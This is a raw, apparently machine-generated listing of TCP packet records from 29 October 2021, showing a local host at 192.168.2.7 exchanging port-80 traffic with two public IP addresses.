Oct 29, 2021 15:31:07.908384085 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908432007 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908435106 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908479929 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908488035 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908535957 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908539057 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908591032 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908591032 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908638000 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908643961 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908690929 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908694029 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908740044 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908742905 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908787966 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908795118 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908839941 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908878088 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908924103 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908935070 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.908986092 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.908988953 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909038067 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.909039974 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909090996 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909095049 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.909136057 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.909142017 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909188032 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.909190893 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909238100 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.909244061 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909285069 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.909297943 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909344912 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.909351110 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909399033 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.909405947 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909454107 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.909459114 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909503937 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.909512043 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909553051 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.909564972 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909614086 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909656048 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909697056 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909737110 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.909738064 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909780979 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.909791946 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909843922 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909888983 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.909897089 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909936905 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.909945965 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909986019 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.909989119 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.910038948 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.910083055 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.910087109 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.976655006 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.976696968 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.976727962 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.976757050 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.976773024 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.976788998 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.976814032 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.976816893 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.976839066 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.976896048 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.976897001 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.976929903 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.976938009 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.976960897 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.976974964 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.976991892 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977014065 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977022886 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977035999 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977058887 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977067947 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977091074 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977104902 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977122068 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977132082 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977154970 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977168083 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977188110 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977200985 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977219105 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977243900 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977251053 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977256060 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977283001 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977303028 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977314949 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977324009 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977354050 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977360010 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977385998 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977412939 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977416992 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977426052 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977449894 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977466106 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977480888 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977487087 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977513075 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977520943 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977543116 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977557898 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977574110 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977590084 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977607012 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977621078 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977637053 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977653027 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977670908 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977684021 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977705956 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977720976 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977737904 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977762938 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977787018 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977811098 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977830887 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977845907 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977875948 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977875948 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977905989 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977909088 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977919102 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.977938890 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977974892 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:07.977983952 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.978018045 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:07.994015932 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:07.994061947 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:07.994098902 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:07.994138002 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:07.994175911 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:07.994214058 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:07.994221926 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:07.994244099 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:07.994246960 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:07.994283915 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:07.994314909 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:07.994347095 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:07.994535923 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.044560909 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.044615030 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.044655085 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.044698954 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.044727087 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.044754982 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.044771910 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.044795990 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.044796944 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.044840097 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.044908047 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.044950008 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045001984 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045003891 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045039892 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045068026 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045082092 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045121908 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045121908 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045130014 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045173883 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045178890 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045214891 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045224905 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045254946 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045269966 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045296907 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045303106 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045339108 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045345068 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045378923 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045388937 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045418978 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045427084 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045459032 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045492887 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045495987 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045511961 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045536995 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045553923 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045578957 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045584917 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045620918 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045629025 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045661926 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045671940 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045701981 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045718908 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045742989 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045753002 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045783997 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045793056 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045824051 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045840025 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045865059 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045874119 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045905113 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045914888 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045945883 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045953035 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.045988083 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.045995951 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.046026945 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.046041012 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.046066999 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.046077967 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.046107054 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.046128035 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.046145916 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.046153069 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.046201944 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.046403885 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.056969881 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057071924 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.057220936 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057261944 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057301044 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057352066 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057380915 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.057390928 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057432890 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057466030 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.057475090 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057482958 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.057513952 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057554007 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057591915 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057594061 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.057632923 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057676077 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057707071 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.057714939 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057754993 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057765007 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.057792902 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057809114 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.057832003 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.057882071 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.112704992 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.112759113 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.112798929 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.112835884 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.112920046 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.112931013 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.112956047 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:08.112967968 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.116770983 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:08.120367050 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.120404005 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.120440006 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.120476961 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.120491982 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.120528936 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.120820045 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.120877981 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.120913982 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.120928049 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.120953083 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.120990992 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121026993 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121038914 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.121062040 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121067047 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.121099949 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121135950 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121160030 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.121184111 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121220112 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121232986 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.121257067 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121300936 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121339083 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121345043 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.121373892 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121396065 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.121409893 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121444941 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121486902 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121509075 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.121531010 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121566057 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121577978 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.121599913 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121634960 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121648073 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.121671915 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121673107 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.121706963 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121741056 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121763945 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.121776104 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121812105 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121846914 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121870995 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.121881962 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121906996 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121927023 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.121942043 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.121964931 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.121977091 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.123845100 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.183840036 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.183885098 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.183926105 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.183962107 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.183985949 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.184000969 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.184016943 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.184041023 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.184078932 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.184082031 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.184118986 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.184176922 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.185254097 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185296059 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185336113 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185374975 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185405016 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.185415030 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185417891 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.185456991 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185497999 CEST	80	49842	45.141.84.21	192.168.2.7
